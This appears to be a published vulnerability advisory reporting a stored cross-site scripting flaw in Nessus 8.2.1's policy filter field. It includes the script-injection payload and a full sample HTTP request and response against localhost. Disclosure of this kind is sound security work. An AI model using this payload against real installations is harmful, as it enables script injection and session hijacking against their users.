Nessus 8.2.1 Cross Site Scripting

2019.01.29
Credit: Ozer Goker
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

################################################################################################################################## # Exploit Title: Nessus 8.2.1 | Stored Cross-Site Scripting # Date: 29.01.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://www.tenable.com # Software Link: https://www.tenable.com/downloads/nessus # Version: 8.2.1 ################################################################################################################################## Introduction Nessus is #1 For Vulnerability Assessment >From the beginning, we've worked hand-in-hand with the security community. We continuously optimize Nessus based on community feedback to make it the most accurate and comprehensive vulnerability assessment solution in the market. 20 years later and we're still laser focused on community collaboration and product innovation to provide the most accurate and complete vulnerability data - so you don't miss critical issues which could put your organization at risk. ################################################################################# XSS details: Stored ################################################################################# XSS1 | Stored URL https://localhost:8834/policies METHOD Post PARAMETER value PAYLOAD \"><script>alert(1)</script> Request POST /policies HTTP/1.1 Host: localhost:8834 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://localhost:8834/ Content-Type: application/json X-API-Token: 9A8BB6D6-2297-47EF-8083-D1EC639444B4 X-Cookie: token=7856d1d4dfdeb394d00a3993b6c3829df42ba6dbebbcac45 Content-Length: 3467 DNT: 1 Connection: close {"uuid":"939a2145-95e3-0c3f-f1cc-761db860e4eed37b6eee77f9e101","dynamicPluginFilters":{"joinOperator":"and","filters":[{"filter":"cve","quality":"eq","value":"\"><script>alert(1)</script>"}]},"credentials":{"add":{},"edit":{},"delete":[]},"settings":{"patch_audit_over_rexec":"no","patch_audit_over_rsh":"no","patch_audit_over_telnet":"no","additional_snmp_port3":"161","additional_snmp_port2":"161","additional_snmp_port1":"161","snmp_port":"161","http_login_auth_regex_nocase":"no","http_login_auth_regex_on_headers":"no","http_login_invert_auth_regex":"no","http_login_max_redir":"0","http_reauth_delay":"","http_login_method":"POST","enable_admin_shares":"no","start_remote_registry":"no","dont_use_ntlmv1":"yes","never_send_win_creds_in_the_clear":"yes","attempt_least_privilege":"no","ssh_client_banner":"OpenSSH_5.0","ssh_port":"22","ssh_known_hosts":"","region_hkg_pref_name":"yes","region_syd_pref_name":"yes","region_lon_pref_name":"yes","region_iad_pref_name":"yes","region_ord_pref_name":"yes","region_dfw_pref_name":"yes","microsoft_azure_subscriptions_ids":"","aws_use_https":"yes","aws_verify_ssl":"yes","aws_ui_region_type":"Rest of the World","aws_sa_east_1":"","aws_ap_south_1":"","aws_ap_southeast_2":"","aws_ap_southeast_1":"","aws_ap_northeast_3":"","aws_ap_northeast_2":"","aws_ap_northeast_1":"","aws_eu_north_1":"","aws_eu_central_1":"","aws_eu_west_3":"","aws_eu_west_2":"","aws_eu_west_1":"","aws_ca_central_1":"","aws_us_west_2":"","aws_us_west_1":"","aws_us_east_2":"","aws_us_east_1":"","enable_plugin_list":"no","audit_trail":"full","enable_plugin_debugging":"no","log_whole_attack":"no","max_simult_tcp_sessions_per_scan":"","max_simult_tcp_sessions_per_host":"","max_hosts_per_scan":"30","max_checks_per_host":"5","network_receive_timeout":"5","reduce_connections_on_congestion":"no","slice_network_addresses":"no","stop_scan_on_disconnect":"no","safe_checks":"yes","display_unreachable_hosts":"no","log_live_hosts":"no","reverse_lookup":"no","allow_post_scan_editing":"yes","silent_dependencies":"yes","report_superseded_patches":"yes","report_verbosity":"Normal","scan_malware":"no","enum_local_users_end_uid":"1200","enum_local_users_start_uid":"1000","enum_domain_users_end_uid":"1200","enum_domain_users_start_uid":"1000","request_windows_domain_info":"yes","scan_webapps":"no","test_default_oracle_accounts":"no","provided_creds_only":"yes","smtp_to":"postmaster@ [AUTO_REPLACED_IP]","smtp_from":"nobody@example.com","smtp_domain":" example.com","av_grace_period":"0","thorough_tests":"no","report_paranoia":"Normal","detect_ssl":"yes","check_crl":"no","enumerate_all_ciphers":"yes","cert_expiry_warning_days":"60","ssl_prob_ports":"Known SSL ports","svc_detection_on_all_ports":"yes","udp_scanner":"no","syn_scanner":"yes","syn_firewall_detection":"Automatic (normal)","verify_open_ports":"no","only_portscan_if_enum_failed":"yes","snmp_scanner":"yes","wmi_netstat_scanner":"yes","ssh_netstat_scanner":"yes","portscan_range":"default","unscanned_closed":"no","wol_wait_time":"5","wol_mac_addresses":"","scan_ot_devices":"no","scan_netware_hosts":"no","scan_network_printers":"no","ping_the_remote_host":"yes","udp_ping":"no","icmp_ping":"yes","icmp_ping_retries":"2","icmp_unreach_means_host_down":"no","tcp_ping":"yes","tcp_ping_dest_ports":"built-in","arp_ping":"yes","fast_network_discovery":"no","test_local_nessus_host":"yes","acls":[{"object_type":"policy","permissions":0,"type":"default"}],"description":"","name":"test"}} Response HTTP/1.1 200 OK Cache-Control: X-Frame-Options: DENY Content-Type: application/json Date: : Tue, 29 Jan 2019 12:44:04 GMT Connection: close Server: NessusWWW X-Content-Type-Options: nosniff Content-Length: 38 Expires: 0 Pragma: {"policy_id":161,"policy_name":"test"} PoC URL https://localhost:8834/#/scans/policies/161/config/dynamic-plugins


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